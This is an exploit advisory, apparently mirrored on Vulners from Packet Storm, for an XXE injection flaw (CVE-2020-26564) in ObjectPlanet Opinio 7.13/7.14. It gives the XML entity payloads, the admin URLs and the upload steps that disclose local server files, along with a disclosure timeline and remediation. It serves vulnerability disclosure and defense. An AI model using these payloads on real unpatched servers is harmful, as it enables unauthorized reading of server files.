Lucene search
K

ObjectPlanet Opinio 7.13 / 7.14 XML Injection

🗓️ 30 Jul 2021 00:00:00Reported by Daniel TanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 244 Views

ObjectPlanet Opinio 7.13/7.14 XXE Injection allows file disclosur

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ObjectPlanet Opinio 7.13 / 7.14 XML Injection Vulnerability
30 Jul 202100:00
zdt
0day.today
ObjectPlanet Opinio 7.13 Shell Upload Vulnerability
30 Jul 202100:00
zdt
Circl
CVE-2020-26564
31 Jul 202120:25
circl
CNNVD
ObjectPlanet Opinio 代码问题漏洞
30 Jul 202100:00
cnnvd
CVE
CVE-2020-26564
31 Jul 202116:28
cve
Cvelist
CVE-2020-26564
31 Jul 202116:28
cvelist
EUVD
EUVD-2020-19109
7 Oct 202500:30
euvd
NVD
CVE-2020-26564
31 Jul 202117:15
nvd
Packet Storm
ObjectPlanet Opinio 7.13 Shell Upload
30 Jul 202100:00
packetstorm
Prion
Code injection
31 Jul 202117:15
prion
Rows per page
`# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng  
# CVE: CVE-2020-26564  
  
# Exploit Title: ObjectPlanet Opinio version 7.13/7.14 allows XXE injection  
# Vendor Homepage: https://www.objectplanet.com/opinio/  
# Software Link: https://www.objectplanet.com/opinio/  
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng  
# CVE: CVE-2020-26564  
  
# Timeline  
- September 2020: Initial discovery  
- October 2020: Reported to ObjectPlanet  
- November 2020: Fix/patch provided by ObjectPlanet  
- July 2021: CVE-2020-26564  
  
# 1. Introduction  
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.  
  
# 2. Vulnerability Details  
ObjectPlanet Opinio before version 7.13 and 7.14 is vulnerable to XXE injection.  
  
# 3. Proof of Concept  
  
### XXE leading to local file disclosure ###  
  
Step 1:   
  
URL: /opinio/admin/file.do?action=viewEditFileResource&resourceType=6&resourcePatch=upload/css/common/blueSurvey.css  
  
Opinio allows an administrative user to edit local CSS files, this is used to change the contents of a CSS file to a dtd reference file for the XXE injection  
The existing blueSurvey.css file was chosen for this PoC. Replace the contents of the file with:   
  
<!ENTITY all "%start;%file;%end;">  
  
-------------------------------------------------------  
  
Step 2:   
  
Utilize Opinios survey module and create a generic survey template. Export the template .xml file and add this snippet into the top of the .xml file:  
  
<!ENTITY % file SYSTEM "file:////C:\Users\">  
<!ENTITY % start "<![CDATA[">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM  
"file:////C:\<BASE_DIRECTORY>\opinio\upload\css\common\blueSurvey.css">  
%dtd;  
  
Ensure the surveyIntro tag is inserted with the following payload (This will output the result in the  
surveyIntro field):  
  
<surveyIntro>&all;</surveyIntro>  
  
The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.   
  
Import the modified .xml file to:   
/survey/admin/folderSurvey.do?action=viewImportSurvey['importFile']  
  
-------------------------------------------------------  
  
Step 3:   
  
The C:\Users\ directory can be viewed at :  
/opinio/admin/preview.do?action=previewSurvey&surveyId=<SURVEY_ID>  
  
  
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html  
  
  
# 4. Remediation  
Apply the latest fix/patch from objectplanet.  
  
# 5. Credits  
Timothy Tan (https://sg.linkedin.com/in/timtjh)  
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)  
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)  
Daniel Tan (https://www.linkedin.com/in/dantanjk/)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jul 2021 00:00Current
6.9Medium risk
Vulners AI Score6.9
EPSS0.00191
244